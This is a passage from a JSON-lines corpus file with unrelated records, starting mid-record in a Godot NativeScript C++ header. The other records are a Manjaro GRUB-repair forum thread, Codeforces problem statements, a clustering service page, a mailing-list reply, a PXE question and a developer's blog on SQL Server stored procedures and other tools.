\"core/hash_set.h\"\n#include \"scene/main/node.h\"\n\n#include \"modules/gdnative/gdnative.h\"\n#include <nativescript/godot_nativescript.h>\n\n#include \"core/os/mutex.h\"\n\nstruct NativeScriptDesc {\n\n    struct Method {\n        godot_instance_method method;\n        MethodInfo info;\n        int rpc_mode;\n        String documentation;\n    };\n    struct Property {\n        godot_property_set_func setter;\n        godot_property_get_func getter;\n        PropertyInfo info;\n        Variant default_value;\n        int rset_mode;\n        String documentation;\n    };\n\n    struct Signal {\n        MethodInfo signal;\n        String documentation;\n    };\n\n    Map<StringName, Method> methods;\n    OrderedHashMap<StringName, Property> properties;\n    Map<StringName, Signal> signals_; // QtCreator doesn't like the name signals\n    StringName base;\n    StringName base_native_type;\n    NativeScriptDesc *base_data;\n    godot_instance_create_func create_func;\n    godot_instance_destroy_func destroy_func;\n\n    String documentation;\n\n    const void *type_tag;\n\n    bool is_tool;\n\n    inline NativeScriptDesc() :\n            methods(),\n            properties(),\n            signals_(),\n            base(),\n            base_native_type(),\n            documentation(),\n            type_tag(nullptr) {\n        memset(&create_func, 0, sizeof(godot_instance_create_func));\n        memset(&destroy_func, 0, sizeof(godot_instance_destroy_func));\n    }\n};\n\nclass NativeScript : public Script {\n    GDCLASS(NativeScript,Script)\n\n#ifdef TOOLS_ENABLED\n    HashSet<PlaceHolderScriptInstance *> placeholders;\n    void _update_placeholder(PlaceHolderScriptInstance *p_placeholder);\n    void _placeholder_erased(PlaceHolderScriptInstance *p_placeholder) override;\n#endif\n\n    friend class NativeScriptInstance;\n    friend class NativeScriptLanguage;\n    friend class NativeReloadNode;\n    friend class GDNativeLibrary;\n\n    Ref<GDNativeLibrary> library;\n\n    String lib_path;\n\n    StringName class_name;\n\n    String script_class_name;\n    String script_class_icon_path;\n\n    Mutex *owners_lock;\n    HashSet<Object *> instance_owners;\n\nprotected:\n    static void _bind_methods();\n\npublic:\n    inline NativeScriptDesc *get_script_desc() const;\n\n    void set_class_name(String p_class_name);\n    String get_class_name() const;\n\n    void set_library(Ref<GDNativeLibrary> p_library);\n    Ref<GDNativeLibrary> get_library() const;\n\n    void set_script_class_name(String p_type);\n    String get_script_class_name() const;\n    void set_script_class_icon_path(String p_icon_path);\n    String get_script_class_icon_path() const;\n\n    bool can_instance() const override;\n\n    Ref<Script> get_base_script() const override; //for script inheritance\n\n    StringName get_instance_base_type() const override; // this may not work in all scripts, will return empty if so\n    ScriptInstance *instance_create(Object *p_this) override;\n    PlaceHolderScriptInstance *placeholder_instance_create(Object *p_this) override;\n    bool instance_has(const Object *p_this) const override;\n\n    bool has_source_code() const override;\n    String get_source_code() const override;\n    void set_source_code(const String &p_code) override;\n    Error reload(bool p_keep_state = false) override;\n\n    bool has_method(const StringName &p_method) const override;\n    MethodInfo get_method_info(const StringName &p_method) const override;\n\n    bool is_tool() const override;\n    bool is_valid() const override;\n\n    ScriptLanguage *get_language() const override;\n\n    bool has_script_signal(const StringName &p_signal) const override;\n    void get_script_signal_list(List<MethodInfo> *r_signals) const override;\n\n    bool get_property_default_value(const StringName &p_property, Variant &r_value) const override;\n\n    void update_exports() override; //editor tool\n    void get_script_method_list(Vector<MethodInfo> *p_list) const override;\n    void get_script_property_list(List<PropertyInfo> *p_list) const override;\n\n    String get_class_documentation() const;\n    String get_method_documentation(const StringName &p_method) const;\n    String get_signal_documentation(const StringName &p_signal_name) const;\n    String get_property_documentation(const StringName &p_path) const;\n\n    Variant _new(const Variant **p_args, int p_argcount, Callable::CallError &r_error);\n\n    NativeScript();\n    ~NativeScript() override;\n};\n\nclass NativeScriptInstance : public ScriptInstance {\n\n    friend class NativeScript;\n\n    Object *owner;\n    Ref<NativeScript> script;\n#ifdef DEBUG_ENABLED\n    StringName current_method_call;\n#endif\n\n    void _ml_call_reversed(NativeScriptDesc *script_data, const StringName &p_method, const Variant **p_args, int p_argcount);\n\npublic:\n    void *userdata;\n\n    bool set(const StringName &p_name, const Variant &p_value) override;\n    bool get(const StringName &p_name, Variant &r_ret) const override;\n    void get_property_list(List<PropertyInfo> *p_properties) const override;\n    VariantType get_property_type(const StringName &p_name, bool *r_is_valid) const override;\n    void get_method_list(Vector<MethodInfo> *p_list) const override;\n    bool has_method(const StringName &p_method) const override;\n    Variant call(const StringName &p_method, const Variant **p_args, int p_argcount, Callable::CallError &r_error) override;\n    void notification(int p_notification) override;\n    String to_string(bool *r_valid) override;\n    Ref<Script> get_script() const override;\n    MultiplayerAPI_RPCMode get_rpc_mode(const StringName &p_method) const override;\n    MultiplayerAPI_RPCMode get_rset_mode(const StringName &p_variable) const override;\n    ScriptLanguage *get_language() override;\n\n    void call_multilevel(const StringName &p_method, const Variant **p_args, int p_argcount) override;\n    void call_multilevel_reversed(const StringName &p_method, const Variant **p_args, int p_argcount) override;\n\n    void refcount_incremented() override;\n    bool refcount_decremented() override;\n\n    ~NativeScriptInstance() override;\n};\n\nclass NativeReloadNode;\n\nclass NativeScriptLanguage : public ScriptLanguage {\n\n    friend class NativeScript;\n    friend class NativeScriptInstance;\n    friend class NativeReloadNode;\n\nprivate:\n    static NativeScriptLanguage *singleton;\n    int lang_idx;\n\n    void _unload_stuff(bool p_reload = false);\n\n    Mutex *mutex;\n\n    HashSet<Ref<GDNativeLibrary> > libs_to_init;\n    HashSet<NativeScript *> scripts_to_register;\n    volatile bool has_objects_to_register; // so that we don't lock mutex every frame - it's rarely needed\n    void defer_init_library(Ref<GDNativeLibrary> lib, NativeScript *script);\n\n    void init_library(const Ref<GDNativeLibrary> &lib);\n    void register_script(NativeScript *script);\n    void unregister_script(NativeScript *script);\n\n    void call_libraries_cb(const StringName &name);\n\n    Vector<Pair<bool, godot_instance_binding_functions> > binding_functions;\n    Set<Vector<void *> *> binding_instances;\n\n    Map<int, HashMap<StringName, const void *> > global_type_tags;\n\n    struct ProfileData {\n        StringName signature;\n        uint64_t call_count;\n        uint64_t self_time;\n        uint64_t total_time;\n        uint64_t frame_call_count;\n        uint64_t frame_self_time;\n        uint64_t frame_total_time;\n        uint64_t last_frame_call_count;\n        uint64_t last_frame_self_time;\n        uint64_t last_frame_total_time;\n    };\n\n    Map<StringName, ProfileData> profile_data;\n    bool profiling;\n\npublic:\n    // These two maps must only be touched on the main thread\n    Map<String, HashMap<StringName, NativeScriptDesc> > library_classes;\n    Map<String, Ref<GDNative> > library_gdnatives;\n\n    Map<String, HashSet<NativeScript *> > library_script_users;\n\n    StringName _init_call_type;\n    StringName _init_call_name;\n    StringName _terminate_call_name;\n    StringName _noarg_call_type;\n    StringName _frame_call_name;\n    StringName _thread_enter_call_name;\n    StringName _thread_exit_call_name;\n\n    NativeScriptLanguage();\n    ~NativeScriptLanguage() override;\n\n    inline static NativeScriptLanguage *get_singleton() {\n        return singleton;\n    }\n\n    void _hacky_api_anchor();\n\n    _FORCE_INLINE_ void set_language_index(int p_idx) { lang_idx = p_idx; }\n\n    void thread_enter() override;\n    void thread_exit() override;\n\n    void frame() override;\n\n    String get_name() const override;\n    void init() override;\n    String get_type() const override;\n    String get_extension() const override;\n    Error execute_file(StringView p_path) override;\n    void finish() override;\n    void get_reserved_words(List<String> *p_words) const override;\n    void get_comment_delimiters(List<String> *p_delimiters) const override;\n    void get_string_delimiters(List<String> *p_delimiters) const override;\n    Ref<Script> get_template(StringView p_class_name, const String &p_base_class_name) const override;\n    bool validate(const String &p_script, int &r_line_error, int &r_col_error, String &r_test_error, StringView p_path, List<String> *r_functions, List<ScriptLanguage::Warning> *r_warnings = nullptr, Set<int> *r_safe_lines = nullptr) const override;\n    Script *create_script() const override;\n    bool has_named_classes() const override;\n    bool supports_builtin_mode() const override;\n    int find_function(const String &p_function, const String &p_code) const override;\n    String make_function(const String &p_class, const String &p_name, const PoolStringArray &p_args) const override;\n    void auto_indent_code(String &p_code, int p_from_line, int p_to_line) const override;\n    void add_global_constant(const StringName &p_variable, const Variant &p_value) override;\n    const String &debug_get_error() const override;\n    int debug_get_stack_level_count() const override;\n    int debug_get_stack_level_line(int p_level) const override;\n    String debug_get_stack_level_function(int p_level) const override;\n    String debug_get_stack_level_source(int p_level) const override;\n    void debug_get_stack_level_locals(int p_level, Vector<StringView> *p_locals, Vector<Variant> *p_values, int p_max_subitems, int p_max_depth) override;\n    void debug_get_stack_level_members(int p_level, Vector<StringView> *p_members, Vector<Variant> *p_values, int p_max_subitems, int p_max_depth) override;\n    void debug_get_globals(Vector<StringView> *p_locals, Vector<Variant> *p_values, int p_max_subitems, int p_max_depth) override;\n    String debug_parse_stack_level_expression(int p_level, const String &p_expression, int p_max_subitems, int p_max_depth) override;\n    void reload_all_scripts() override;\n    void reload_tool_script(const Ref<Script> &p_script, bool p_soft_reload) override;\n    void get_recognized_extensions(List<String> *p_extensions) const override;\n    void get_public_functions(List<MethodInfo> *p_functions) const override;\n    void get_public_constants(List<Pair<String, Variant> > *p_constants) const override;\n    void profiling_start() override;\n    void profiling_stop() override;\n    int profiling_get_accumulated_data(ProfilingInfo *p_info_arr, int p_info_max) override;\n    int profiling_get_frame_data(ProfilingInfo *p_info_arr, int p_info_max) override;\n\n    int register_binding_functions(godot_instance_binding_functions p_binding_functions);\n    void unregister_binding_functions(int p_idx);\n\n    void *get_instance_binding_data(int p_idx, Object *p_object);\n\n    void *alloc_instance_binding_data(Object *p_object) override;\n    void free_instance_binding_data(void *p_data) override;\n    void refcount_incremented_instance_binding(Object *p_object) override;\n    bool refcount_decremented_instance_binding(Object *p_object) override;\n\n    void set_global_type_tag(int p_idx, StringName p_class_name, const void *p_type_tag);\n    const void *get_global_type_tag(int p_idx, StringName p_class_name) const;\n\n    bool handles_global_class_type(StringView p_type) const override;\n    String get_global_class_name(StringView p_path, String *r_base_type, String *r_icon_path) const override;\n\n    void profiling_add_data(StringName p_signature, uint64_t p_time);\n};\n\ninline NativeScriptDesc *NativeScript::get_script_desc() const {\n    auto &classes(NativeScriptLanguage::singleton->library_classes[lib_path]);\n    auto iter = classes.find(class_name);\n    return iter!=classes.end() ? &iter->second : nullptr;\n}\n\nclass NativeReloadNode : public Node {\n    GDCLASS(NativeReloadNode,Node)\n\n    bool unloaded;\n\npublic:\n    static void _bind_methods();\n    void _notification(int p_what);\n\n    NativeReloadNode() :\n            unloaded(false) {}\n};\n\nclass ResourceFormatLoaderNativeScript : public ResourceFormatLoader {\npublic:\n    RES load(StringView p_path, const String &p_original_path = String(), Error *r_error = nullptr) override;\n    void get_recognized_extensions(Vector<String> &p_extensions) const override;\n    bool handles_type(const String &p_type) const override;\n    String get_resource_type(StringView p_path) const override;\n};\n\nclass ResourceFormatSaverNativeScript : public ResourceFormatSaver {\n    Error save(StringView p_path, const RES &p_resource, uint32_t p_flags = 0) override;\n    bool recognize(const RES &p_resource) const override;\n    void get_recognized_extensions(const RES &p_resource, Vector<String> *p_extensions) const override;\n};", "source": "cpt_stack_code", "language": "code", "token_count": 3650, "token_count_with_eod": 3651, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Having installed my ManjaroOS on my hard disk. If I boot my computer with an USB live system stick, how can I edit the original grub file on my hard disk in case of a crash for repairing it in case needed?\nThis command does not work.\nsudo chroot /path/to/temporarily/mounted/harddiskwithOS/ update-grub\nmanjaro-chroot -a ?\nwill likely not work easily\nIf I remember correctly\nhe has got an luks encrypted system with btrfs inside\nBootfehler mit 2. verschlüsselter btrfs Festplatte sowie verschlüsselter SWAP Partition - ERROR: resume: hibernation device - #31 by Nachlese\nIn the case described here:\nluks container opened and the filesystem within mounted on:\nit would likely be:\nto chroot into the system mounted there\nhas to be a separate command - not on the same line as written in the OP\nbut only after it has been verified that the\nchroot has actually worked\nprobier das doch mal so …\nthis is not a command\nit is two commands - does not work this way\nthat might partially work\nYou probably want to use\nmanjaro-chroot instead of plain\n(it takes care of all the things you have to do manually to actually be able to successfully use your\ncheck and verify that that will put you into your system, mounted there\nif it did (it’s likely)\nthen you can do things like:\nThis topic was automatically closed 2 days after the last reply. New replies are no longer allowed.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 332, "token_count_with_eod": 333, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are $$$n$$$ points on a coordinate axis $$$OX$$$. The $$$i$$$-th point is located at the integer point $$$x_i$$$ and has a speed $$$v_i$$$. It is guaranteed that no two points occupy the same coordinate. All $$$n$$$ points move with the constant speed, the coordinate of the $$$i$$$-th point at the moment $$$t$$$ ($$$t$$$ can be non-integer) is calculated as $$$x_i + t \\cdot v_i$$$.\n\nConsider two points $$$i$$$ and $$$j$$$. Let $$$d(i, j)$$$ be the minimum possible distance between these two points over any possible moments of time (even non-integer). It means that if two points $$$i$$$ and $$$j$$$ coincide at some moment, the value $$$d(i, j)$$$ will be $$$0$$$.\n\nYour task is to calculate the value $$$\\sum\\limits_{1 \\le i < j \\le n}$$$ $$$d(i, j)$$$ (the sum of minimum distances over all pairs of points).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hierarchical clustering, also known as hierarchical cluster analysis, is an algorithm that gathers similar objects into groups called the clusters. The endpoint is a set of clusters, where each cluster is distinct from other clusters, and the objects within each cluster are broadly similar to each other.\nAgglomerative: This approach is also known as the bottom-up approach: each instance starts in its own cluster, and pairs of clusters are merged as one move up the hierarchy. In this method, we start with each object forming a separate group. It continues to merging the groups or objects that are close to one another. It keeps on doing so until all of the objects are merged into one or until the condition of termination happens.\nDivisive: This approach is also known as the top-down approach: all observations start from one cluster, and splits are carried out recursively as one moves down the hierarchy. In this method, we start with all of the objects in the same cluster. In the process of iteration, a cluster is divided into smaller clusters. It is down until each cluster with only one object or the condition of termination happens.\n|Identify the two clusters that are closest together|\n|Merge the two most similar clusters. This iterative process continues until all the clusters are merged together.|\n|Project name||Hierarchical Clustering Service|\n|Samples requriements||Hierarchical clustering can be performed with either a distance matrix or raw data. When raw data is provided, the software will automatically compute a distance matrix in the background. The distance matrix below shows the distance between six objects.|\n|Detection cycle||3-5 days.|\n|Service including||We provide you with raw data and calculation result analysis service.|\nComputaBio provides corresponding analysis services. The goal of cluster analysis is to collect data for classification on a similar basis. Clustering originates from many fields, including mathematics, computer science, statistics, biology, and economics. In different application fields, many clustering technologies have been developed. These technical methods are used to describe data, measure the similarity between different data sources, and classify data sources into different clusters. If you have needs in this regard, please feel free to contact us.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 444, "token_count_with_eod": 445, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the easy version of the problem. The difference in this version is that $$$t=1$$$ and we work on an array-like tree.\n\nRon and Hermione are playing a game on a tree of $$$n$$$ nodes that are initially inactive. This tree is special because it has exactly two leaves. It can thus be seen as an array. The game consists of $$$t$$$ rounds, each of which starts with a stone on exactly one node, which is considered as activated. A move consists of picking an inactive neighbor of the node with a stone on it and moving the stone there (thus activating this neighbor). Ron makes the first move, after which he alternates with Hermione until no valid move is available. The player that cannot make a move loses the round. If both players play optimally, who wins each round of this game?\n\nNote that all the rounds are played with the same tree; only the starting node changes. Moreover, after each round, all active nodes are considered inactive again.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Oscolcovo city has a campus consisting of n student dormitories, n universities and n military offices. Initially, the i-th dormitory belongs to the i-th university and is assigned to the i-th military office.\n\nLife goes on and the campus is continuously going through some changes. The changes can be of four types:\n\n1. University aj merges with university bj. After that all the dormitories that belonged to university bj are assigned to to university aj, and university bj disappears.\n2. Military office cj merges with military office dj. After that all the dormitories that were assigned to military office dj, are assigned to military office cj, and military office dj disappears.\n3. Students of university xj move in dormitories. Lets kxj is the number of dormitories that belong to this university at the time when the students move in. Then the number of students in each dormitory of university xj increases by kxj (note that the more dormitories belong to the university, the more students move in each dormitory of the university).\n4. Military office number yj conducts raids on all the dormitories assigned to it and takes all students from there.\n\nThus, at each moment of time each dormitory is assigned to exactly one university and one military office. Initially, all the dormitory are empty.\n\nYour task is to process the changes that take place in the campus and answer the queries, how many people currently live in dormitory qj.", "source": "cpt_codeforces", "language": "en", "token_count": 304, "token_count_with_eod": 305, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Mr. Abhijeet Rishu Profile Marathahalli Bridge, Bangalore, Karnataka\nAbhijeet Rishu Tuition Details\nAny Secondary or Higher secondary Boards\nI have an experience of over one year taking Spanish sessions for the IT professionals,graduates and housewives.\nAcquired B.Tech from in\nLittle About Me\nI am a software engineer and a Spanish trainer @ my own business.\nNo Schedules are created.\n[events_calendar full=1 owner=\"441\"]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": ">Some things I've noticed using the mailing list:\n>typo on manual mailing page (i.e. rage not range):\n>Check here to override the rage of dates sent in the news letter\n>I'm not sure what the above means because I can set a range of dates for\n>the newsletter. Does it mean that the range I set will override what the\n>users have specified?\nyes, you will force your emails to everybody including those who subscribed\nthemselves to get, say, only Sunday's newsletters...\n>I got this instead of apostrophes in the header of the newletter (not\n>embedded in the stories but only in the stuff I typed in the header window\n>prior to mailing it off):\n>But I've started again\nYep. I know a lot about those little characters... I have a function in my\nown site that cleans up all latin characters from plain text to HTML\nencoding (é for é for instance) for posting and vice-versa when\nsending newsletters... I will commit this in functions.inc for phpslash-dev\nlater on (after talking to Joe and others about it of course). However, I'm\nwith you with that. I have a solution for it though, but I would recommend\nthat you leave with it for now (set your encoding to latin-1 \"ISO-8859-1\"\ninstead of UTF-8, for now. So that when you post your stories the function\nwould take care of converting the characters.)\n>Somehow it mailed some stories that I had deleted - but I think that's\n>possibly a bug within my data tables only.\nTampering with the tables by hand is wrong. Getting things back to normal is\neven harder as the site grows. And upgrading when you need to will become\ndaunting. So, try to use the Admin pages all the time. Just an advice from\nsomebody who have done just that and it took me a long time to get things\nback to normal.\nP.S. The latest Mailinglist.class and other mailing list related files are\nnow in phpslash-dev module from CVS. Just in case you happen to find other\nknown issues that we have been working on for the past few days. I will\ncommit what I have done so far, which is pretty much \"stable\", but has not\nbeen tested by others yet. Patience...\n\"...The Mac does this so smoothly, it feels like an extension of your mind.\"\n- Paula Speer, MacWorld Magazine 2003-04\nPublic signature: http://www.latinomixed.com/lems1/public-a.asc\nMSN Messenger : discutez en direct avec vos amis !", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have two variables a and b. Consider the following sequence of actions performed with these variables:\n\n1. If a = 0 or b = 0, end the process. Otherwise, go to step 2;\n2. If a ≥ 2·b, then set the value of a to a - 2·b, and repeat step 1. Otherwise, go to step 3;\n3. If b ≥ 2·a, then set the value of b to b - 2·a, and repeat step 1. Otherwise, end the process.\n\nInitially the values of a and b are positive integers, and so the process will be finite.\n\nYou have to determine the values of a and b after the process ends.", "source": "cpt_codeforces", "language": "en", "token_count": 175, "token_count_with_eod": 176, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We recently upgraded from 2017.3 to 2018.3. In 2017.3, under the PXE section of Self-electing subnet services, I simply had to enable each subnet and was pretty much good to go. We only use one server at each location as the PXE rep, so there wasn't much else to configure. I did set the PXE_SVC_SCORE to 100 on each server.\nIn 2018.3, there are duplicate subnet entries, each with a different \"Multicast Domain ID\". I'm guessing these are coming from other devices on the subnet, but I only have PXE enabled on one server at each location. The biggest issue is that our servers are showing up with more than one multicast domain ID, so every day it's possible that PXE gets disabled because the requested multicast domain ID was not enabled for the subnet.\nI'm not sure if I have something configured wrong, but if this behavior is correct, how is it possible to keep one device per subnet always elected as the PXE rep?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Friday, August 24, 2007\nFriday, June 15, 2007\nPosted by Kerry at 11:03 AM\nMonday, June 11, 2007\nThursday, December 14, 2006\nI am running Vista, by the way. I had missed on the error dialog\nearlier that there was an access denied error. So, I thought about a\npossible permissions issue which did not really seem to make sense.\nNonetheless, I went through the process of changing the permissions on\nmy login user account for the \"C:\\Program Files\\Borland\" directory from\nRead+Execute to Full Control.\nUpon launching the BDS environment, I had no more errors. Finally! Success!\nPosted by Kerry at 9:23 PM\nSaturday, September 02, 2006\nI have used SQL Server a lot in the past and I have written simple SELECT, INSERT, and DELETE statements, but I have been diving into it a lot more lately. I have messed around lately with triggers and stored procedures.\nI am currently working on complex stored procedures making use of data output from another stored procedure. Getting the SELECT statements just right when joining tables is what is currently throwing me for a loop.\nPosted by Kerry at 7:40 AM\nWednesday, August 23, 2006\nWe are moving toward the use of SQL Server 2005 at work, so I have been getting my head wrapped around things like stored procedures and triggers. I have been using SQL Server Management Studio to create my stored procedures on my test database.\nI created a stored procedure tonight that would insert a new record in the database and return the new identity in an output parameter. My stored procedure looked like this...\nCREATE PROCEDURE [dbo].AddName\n@firstname varchar(20) = NULL,\n@lastname varchar(30) = NULL,\n@NameID int OUTPUT\nSET @NameID = 0 -- return zero if the insert fails\nIF @firstname IS NOT NULL AND @lastname IS NOT NULL\nSELECT @NameID = ID\nWHERE firstname = @firstname\nand lastname = @lastname\nIF @NameID IS NULL\nINSERT INTO names (firstname, lastname)\nVALUES (@firstname, @lastname)\nSELECT @NameID = SCOPE_IDENTITY()\nEverything that I did just would not work. I kept getting a NULL back for the output parameter value. My test went something like this....\nDECLARE @NameID INT\nEXEC AddName 'John', 'Smith', @NameID\nI used the Template Explorer and setup a new stored procedure on the test database using the template. It worked like a charm with the output parameter being properly populated when the stored procedure returned.\nI finally figured it out a little while ago. That little light blue word called OUTPUT over on the right after the last parameter in the EXEC statement for the stored procedure. I completely missed that on the template code example. I did not realize that you had to include the direction declaration there since the procedure itself already designated the last parameter as an output parameter.\nMy EXEC statement should have looked like this to work properly...\nEXEC AddName 'John', 'Smith', @NameID OUTPUT\nOh well... I still have my hair. :)\nPosted by Kerry at 10:29 PM\nSaturday, August 19, 2006\nSunday, August 06, 2006\nBecause of the way that we are headed at work, I have decided to go the Microsoft Certified Professional Developer route. To do this, I have to get the Microsoft Certified Technology Specialist (MCTS) certification first. I am going to do this on the .NET 2.0 Windows Applications path first and then the Web Applications path.\nI ordered the MCTS Self-Paced Training Kit (Exam 70-536) late last week. I want to try and do this in the next six months to a year.\nPosted by Kerry at 11:05 PM\nThursday, July 27, 2006\nI finished working through the Day 1 section of Four Days on Rails this evening. It was a struggle at first trying to get everything setup, especially on Windows (still not fixed there), but that is behind me now. The deeper I get into it, the more interesting it gets.\nPosted by Kerry at 11:51 PM\nI have had some issues getting started, especially on my Dell laptop. I have been trying to get the tutorial application working on Apache 2 on the laptop, but I am unable to get it going that way.\nOn my Power Mac, everything went very smoothly.\nPosted by Kerry at 7:19 PM\nWednesday, July 12, 2006\nI finally got started on this yesterday. I pulled down the InstantRails setup and got it all unzipped, but I could not get my first small application (from a tutorial) working. I kept getting an error message when trying to launch the server.\nI pulled down Locomotive and set it up on my Power Mac at home and got the same tutorial working in just a matter of minutes.\nI need to try again on the Windows laptop today and see if I can get it working there.\nPosted by Kerry at 10:06 AM\nSunday, July 09, 2006\nI finally picked up the book and started reading today. I had to do something other than all of the moving of boxes that I have been doing as of late.\nI am eager to get into later chapters now and start producing something with Rails.\nPosted by Kerry at 11:57 PM\nTuesday, May 09, 2006\nComputerZen.com - Scott Hanselman - Scott Hanselman's 2005 Ultimate Developer and Power Users Tool List\nScott Hanselman's 2005 Ultimate Developer and Power Users Tool List is just awesome if you are a software developer. Scott tells you about all the tools that he uses that might be helpful in your day-to-day activities.\nPosted by Kerry at 9:26 PM\nFriday, April 28, 2006\nI found a very interesting entry at ScottGu's Blog regarding maintenance on ASP.NET 2.0 web applications. It basically consists of adding a file named asp_offline.htm to the root directory of your web application and ASP.NET 2.0 will shut down the app.\nTechnorati Tags: ASP.NET 2.0\nPosted by Kerry at 10:38 PM\nI was playing around with SQL Server Express 2005 at work today. We are thinking about using it for the next release of one of our products. I moved my database over and attached it to the server and started working in Visual Studio 2005.\nWhen I finished creating a CLR based stored procedure, on deployment, I got an error about “Incorrect syntax near 'EXTERNAL'”. I did some searching and finally found that you have to update the compatibility index on your database when moving from SQL Server 2000 to SQL Server 2005. The command to do this is ...\nExec sp_dbcmptlevel 'DatabaseName', '90'Even after setting the compatibility index, I was still unable to execute my stored procedure, because CLR Integration was not enabled for SQL Server 2005 Express. I had to use the SQL Server Surface Area Configuration tool to enable the CLR Integration. Once that was done, all worked fine.\nI hope this helps someone to avoid headaches in the future.\nPosted by Kerry at 9:04 PM\nThursday, April 27, 2006\nPosted by Kerry at 3:17 PM\nWednesday, April 26, 2006\nOne of my big weaknesses at work is SQL. I have been at the same job for almost 17 years. Unfortunately, my skills have been retarded due to the things that we do with our client software.\nI was doing some things for a new piece of software today that uses a MSSQL for data persistence. I was doing a join on two tables, but I was not getting the results back that I expected. I finally figured out that I needed a “left join”, because not all of the records for one table had matching records in the joined table.\nPosted by Kerry at 8:39 PM\nFriday, December 16, 2005\nI came across the Dictionary of Algorithms and Data Structures tonight on Digg. This site has everything you would ever want to know on an exhaustive list of algorithms, algorithmic techniques, data structures, archetypical problems, and related definitions.\nPosted by Kerry at 11:38 PM\nSunday, December 11, 2005\nI came across this list tonight. These are some very interesting principles to live by in regards to one's programming career.\nTen Commandments of Egoless Programming - (Lamont Adams, Builder.com | Sunday, July 14 2002)\n- Understand and accept that you will make mistakes. The point is to find them early, before they make it into production. Fortunately, except for the few of us developing rocket guidance software at JPL, mistakes are rarely fatal in our industry, so we can, and should, learn, laugh, and move on.\n- You are not your code. Remember that the entire point of a review is to find problems, and problems will be found. Don't take it personally when one is uncovered.\n- No matter how much \"karate\" you know, someone else will always know more. Such an individual can teach you some new moves if you ask. Seek and accept input from others, especially when you think it's not needed.\n- Don't rewrite code without consultation. There's a fine line between \"fixing code\" and \"rewriting code.\" Know the difference, and pursue stylistic changes within the framework of a code review, not as a lone enforcer.\n- Treat people who know less than you with respect, deference, and patience. Nontechnical people who deal with developers on a regular basis almost universally hold the opinion that we are prima donnas at best and crybabies at worst. Don't reinforce this stereotype with anger and impatience.\n- The only constant in the world is change. Be open to it and accept it with a smile. Look at each change to your requirements, platform, or tool as a new challenge, not as some serious inconvenience to be fought.\n- The only true authority stems from knowledge, not from position. Knowledge engenders authority, and authority engenders respect—so if you want respect in an egoless environment, cultivate knowledge.\n- Fight for what you believe, but gracefully accept defeat. Understand that sometimes your ideas will be overruled. Even if you do turn out to be right, don't take revenge or say, \"I told you so\" more than a few times at most, and don't make your dearly departed idea a martyr or rallying cry.\n- Don't be \"the guy in the room.\" Don't be the guy coding in the dark office emerging only to buy cola. The guy in the room is out of touch, out of sight, and out of control and has no place in an open, collaborative environment.\n- Critique code instead of people—be kind to the coder, not to the code. As much as possible, make all of your comments positive and oriented to improving the code. Relate comments to local standards, program specs, increased performance, etc\nPosted by Kerry at 9:11 PM\nThursday, December 08, 2005\nTuesday, December 06, 2005\nJames Avery has posted an article on MSDN where he focuses on 10 essential add-ins that every Visual Studio developer must have now.\nI have used TestDriven.Net in the past myself, but I have not used any of the other tools. I need to download the tools that Mr. Avery talks about in the article and try them out.\nread more | tags: MSDN, Visual Studio, .NET development\nPosted by Kerry at 9:47 AM\nThursday, November 24, 2005\nWednesday, November 09, 2005\nI used to use Delphi in my job all the time. I got moved to a different project since that time and I have not really used Delphi in over two years. I had to start using it a bit this past week at work. It is so funny to feel like a newbie when you sit down to something after programming for 16+ years. :)\nI finally started remembering things and got back up to speed.\ntags: Programming, BORLAND, Delphi\nPosted by Kerry at 10:06 PM\nTuesday, September 13, 2005\nThursday, August 18, 2005\nSaturday, July 16, 2005\nOne of the claims in AMD's sensational antitrust complaint against Intel has been getting some play around the web lately. Specifically, folks are focusing on what AMD says about Intel compilers and how they react to the presence of AMD processors. Here's the meat of the claim, taken directly from the AMD complaint:\nread more | digg story\nPosted by Kerry at 12:37 AM\nSunday, July 10, 2005\nThursday, July 07, 2005\nFor the past year or so, I have had a situation at work where I have been limited in what I could due to some issues between my current company and my previous company. It seemed like everything that I got put on, a couple of weeks later, someone came along and said that I could not work on that particular project. My job seemed to be going no place.\nI got word this week that things have finally been cleared up and I can go back to working on some of the projects that I had been attempting to work on in tthe past. This was like someone lifting a huge elephant right off my back or something. I had been quite down as of late due to all of this.\nAfter getting this news this week, I have actually been interested in programming again. Hopefully everything will start picking up and works gets fun again.\nPosted by Kerry at 1:18 AM\nFriday, July 01, 2005\nHave you ever been in a state where there was so much that you wanted to do in programming, yet you didn't really want to do anything? I am at that point right now in my programming life. I have been jerked, pulled, and tossed around so much lately that I do not know which way is up.\nIn the past 3 months, I have been on and off projects that used Java, C++, C#, Delphi, and VB. It is like someone threw it all in a blender, turned it up on high, and out comes a lot of mush.\nI have a personal project that I was really getting into when I was working with Java, but lately, I have been on a C++ kick. I got the Power Mac back in May and I want to do some programming in Objective-C and Cocoa for it, but that is just another ingredient to add to the mix.\nI am not really sure what I want to do at this point. I just sit here at night now playing around in iTunes listening to various technical podcasts and I do not do any programming. I need a plan for something that I can stick to and finish. I guess I should just pick up the personal project again.\nI just hope that I have not gotten into such a rut that I cannot get myself out of it.\nPosted by Kerry at 1:35 AM\nTuesday, June 28, 2005\nWow! This one caught me off guard. I can certainly expect something like this from a software company that is fighting against the big fish in the pond, but I did not expect something like this in the computer chip market. I wonder if this has anything to do with Apple's decision to use Intel for their product line going forward?\nRead the CNET News.com article for more information.\nPosted by Kerry at 8:58 AM\nEclipse.org released the latest version of the Eclipse development environment at JavaOne yesterday. Much of the excitement regarding Eclipse 3.1 centered on the Rich Client Platform upon which you can build very professional looking applications.\nThe Rich Client Platform has been greatly enhanced in this version of 